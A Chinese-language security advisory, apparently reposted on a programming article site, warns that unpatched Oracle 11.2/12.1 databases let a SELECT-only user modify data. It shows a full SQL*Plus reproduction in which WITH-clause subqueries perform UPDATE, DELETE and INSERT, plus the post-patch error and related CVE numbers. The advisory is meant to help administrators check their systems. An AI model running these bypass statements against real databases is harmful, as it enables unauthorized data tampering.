欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

Oracle数据库高危漏洞警告!

程序员文章站 2024-02-12 19:17:12
...

最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影

各位用户,最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影响范围非常广泛,包括在国内最常见的11.2.0.3,11.2.0.4,12.1等版本。

该漏洞在2014年7月的CPU中被修正,但是如果用户未应用该CPU,则漏洞仍然存在。强烈建议您检查所有Oracle数据库,确认是否存在该安全风险。

云和恩墨在自己的测试环境中重现了该漏洞,云和恩墨的测试环境包括11.2.0.3,11.2.0.4,12.1.0.1这5个版本。您也可以通过以下步骤,检查数据库是否存在该漏洞。

(注:以下步骤仅供参考,原则上不会对数据库有任何影响,但是对于在生产环境中执行以下SQL可能产生的风险云和恩墨不负有任何责任)

1.首先创建基本测试用户,仅仅授予创建会话权限

SQL> create user test_update identified by test_update;

User created.

SQL> grant create session to test_update;

Grant succeeded.

2.将表查询权限赋予用户,注意很多产品环境中都存在类似设置

SQL> grant select on t to test_update;

Grant succeeded.

SQL> select count(*) from t;

COUNT(*)

----------

100

3.使用测试用户连接,验证普通的增、删、改权限被拒绝

SQL> conn test_update/test_update

Connected.

SQL> select * from enmo.t where rownum = 1;

ID

----------

1

SQL> update enmo.t set id = 1 where id = 1;

update enmo.t set id = 1 where id = 1

*

ERROR at line 1:

ORA-01031: insufficient privileges

4.在WITH语句中,权限限制被完全绕过,增删改权限被获得

SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 0 where id = 1;

1 row updated.

SQL> commit;

Commit complete.

SQL> delete (with temp as (select * from enmo.t) select id from temp) where id = 2;

1 row deleted.

SQL> insert into (with temp as (select * from enmo.t) select * from temp) select 2 from enmo.t where id =3;

1 row created.

5.在Oracle的CPU中,2014年7月的CPU中修改了该问题

由于很多用户不清楚CPU内容,,并未应用,所以产生高危的影响。以下是应用该CPU之后,应有的权限反应。

SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1;

update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1

*

ERROR at line 1:

ORA-01031: insufficient privileges

警告:由于很多用户对CPU安全补丁关注不足,所以系统中可能存在此高危风险,建议用户关注该漏洞,并及时采取相应举措。与此有关的CVE号包括:CVE-2013-3751、CVE-2014-4236、CVE-2014-4237、CVE-2014-4245、CVE-2013-3774 .

相关信息还可以参考Oracle的CPU页面: